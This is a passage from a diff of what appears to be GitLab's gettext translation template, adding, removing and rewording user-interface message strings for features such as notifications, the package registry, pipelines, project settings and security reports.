-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
